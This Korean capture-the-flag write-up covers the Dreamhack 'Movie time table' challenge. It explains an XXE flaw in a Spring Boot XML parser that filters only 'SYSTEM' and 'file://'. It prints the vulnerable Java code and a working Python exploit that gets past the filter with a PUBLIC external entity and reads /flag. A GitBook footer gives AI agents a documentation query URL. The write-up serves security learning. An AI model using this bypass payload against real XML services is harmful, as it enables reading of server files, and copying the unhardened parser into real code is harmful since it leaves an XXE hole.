> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-movie-time-table.md).

# \[Dreamhack] Movie time table

문제 출처: <https://dreamhack.io/wargame/challenges/1868>

***

#### 문제

<figure><img src="https://blog.kakaocdn.net/dna/cTV3Sh/btsNh5TL2Dv/AAAAAAAAAAAAAAAAAAAAAD6A3Wnfq9J7cNk_3ZjXVccXdmk2e4R1KQsktMVaQonY/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=vwYY92Rlog9Hw232YrC85MzmhrI%3D" alt="" height="255" width="1108"><figcaption></figcaption></figure>

#### Writeup

<figure><img src="https://blog.kakaocdn.net/dna/ypkJf/btsNhPqlK2P/AAAAAAAAAAAAAAAAAAAAAJaW7JnsUDEywyXMFx6mLOGMEeBofzvcD--s_8FGVOhc/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=%2B%2BOVe5Cljcroo5cfpq0lVHD0X2c%3D" alt="" height="901" width="1918"><figcaption></figcaption></figure>

<figure><img src="https://blog.kakaocdn.net/dna/8OPJZ/btsNh6SIVFW/AAAAAAAAAAAAAAAAAAAAACjKfWqyJ8A6gdYw6Izq-8Oab1t_tt9d6wXHckzM4rIp/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=On6JmpC%2BVJNKWOljM2ts21BmUKM%3D" alt="" height="195" width="857"><figcaption></figcaption></figure>

```
#movie service spring boot 파일
package com.example.cinema.movie.service;

import com.example.cinema.movie.exception.BadKeywordException;
import com.example.cinema.movie.model.Movie;
import org.springframework.stereotype.Service;
import org.w3c.dom.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.*;
import java.util.ArrayList;
import java.util.List;

@Service
public class MovieService {

    private static final Logger logger = LoggerFactory.getLogger(MovieService.class);

    private String convertStreamToString(InputStream is) throws IOException {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        StringBuilder sb = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            sb.append(line).append("\n");
        }
        return sb.toString();
    }

    public List<Movie> getMovies(File file) {
        return parseMovies(file);
    }

    public List<Movie> getMovies(InputStream inputStream) {
        return parseMovies(inputStream);
    }

    public List<Movie> parseMovies(Object source) {
        List<Movie> movies = new ArrayList<>();
        try {
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            dbFactory.setValidating( false );
            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
            Document doc;
            if (source instanceof File){
                doc = dBuilder.parse((File) source);
            } else if (source instanceof InputStream){

                String inputStreamString = convertStreamToString((InputStream) source);
                if (inputStreamString.contains("SYSTEM")){
                    throw new BadKeywordException("Not allowed.");
                }
                if(inputStreamString.contains("file://")){
                    throw new BadKeywordException("Not allowed.");
                }
                InputStream newInputStream = new ByteArrayInputStream(inputStreamString.getBytes());
                doc = dBuilder.parse(newInputStream);
            }else{
                throw new IllegalArgumentException("Unsupported type: " + source.getClass().getName());
            }
            doc.getDocumentElement().normalize();

            NodeList movieList = doc.getElementsByTagName("movie");
            for (int temp = 0; temp < movieList.getLength(); temp++) {
                Node movieNode = movieList.item(temp);
                if (movieNode.getNodeType() == Node.ELEMENT_NODE) {
                    Element movieElement = (Element) movieNode;
                    Movie movie = new Movie();
                    movie.setTitle(movieElement.getElementsByTagName("title").item(0).getTextContent());

                    List<String> showtimes = new ArrayList<>();
                    NodeList showtimeList = movieElement.getElementsByTagName("showtime");
                    for (int count = 0; count < showtimeList.getLength(); count++) {
                        showtimes.add(showtimeList.item(count).getTextContent());
                    }
                    movie.setShowtimes(showtimes);
                    movies.add(movie);
                }
            }
        } catch (Exception e) {
            logger.error("ERROR: {}",e.getStackTrace());
            e.getStackTrace();
        }
        return movies;
    }
}
```

* `parseMovies()`에서 XML을 파싱하는 로직을 구현함
* 파라미터로 전달된 source가 File, `InputStream` 타입일 때만 허용하며, `InputStream`은 사용자에 의해서 제어가 되기때문에, `XXE Injection`에서 자주 사용되는 `SYSTEM 키워드`와 `file scheme`을 허용하지 않음.
  * 메서드 오버로딩(Method Overloading)으로 함수의 매개변수의 타입을 다르게하여 2개의 `getMovies()`를 구현함.

```
#movie controller 스프링 부트 파일
package com.example.cinema.movie.controller;

import com.example.cinema.movie.service.MovieService;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.servlet.view.RedirectView;

import java.io.File;
import java.io.IOException;

@Controller
public class MovieController {

    @Autowired
    private MovieService movieService;

    @GetMapping("/")
    public RedirectView index(Model model) {
        return new RedirectView("/table");
    }


    @GetMapping("/table")
    public String getMovieTable(Model model) {
        File file = new File("/app/tables/table.xml");
        model.addAttribute("movies", movieService.getMovies(file));
        return "table";
    }

    @PostMapping("/test")
    public String test(HttpServletRequest request, Model model) {
        try {
            model.addAttribute("movies", movieService.getMovies(request.getInputStream()));
        } catch (IOException e) {
            e.getStackTrace();
        }
        return "table";
    }
}
```

* &#x20;/table 엔드포인트로 GET 요청을 하면, 파일 시스템에 저장된 table.xml을 \*MovieService.getMovies()\*의 인자로 전달
* 반면에 /test 엔드포인트는 POST 요청을 통해서 HttpServeltRequest.getInputStream()을 이용하여 사용자의 입력값을 인자로 전달

&#x20;

#### XXE Injection

데이터 전송이 발생할 때 인젝션을 통하여 공격자가 시스템 파일을 볼 수 있거나 데이터들을 엿볼 수 있다.

&#x20;

#### 키워드 필터링

* SYSTEM 키워드는 XML 문서의 Document Type Definition (DTD) 부분에서 사용되며, 외부 자원을 참조할 수 있게 함.
  * 이는 PUBLIC 키워드로 대체 가능
* PUBLIC 키워드도 이와 비슷한 역할을 하는데, SYSTEM 키워드보다 조금 더 구체적인 역할을 선언함.

&#x20;

#### Exploit

```
from requests import post
from re import search
from sys import argv

if len(argv) == 3:
    URL = f"http://{argv[1]}:{argv[2]}"
else:
    URL = 'http://localhost:8080' #나에게 할당된 VM 도메인 링크를 삽입하면 됨

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

data = '''<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
        <!ENTITY p PUBLIC "asd" "file:/flag">]
        >
<movies>
    <movie>
        <title>&p;</title>
    </movie>
</movies>
'''

res = post(f'{URL}/test', headers=headers, data=data, verify=False)
m = search(r"DH{.*?}", res.text)
if m :
    print(f'[+] FLAG is {m.group()}')
else:
    print(f'[-] Failed to find the FLAG')
```

<figure><img src="https://blog.kakaocdn.net/dna/ylnP7/btsNijx2XhN/AAAAAAAAAAAAAAAAAAAAAJWEMeAiZMG_aej1ie7IEheG-RE4e0TxBCWbcuz5Zi1k/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=1K%2FGBOc9CVLasW5PztReoJ1TA9I%3D" alt="" height="172" width="1331"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-movie-time-table.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
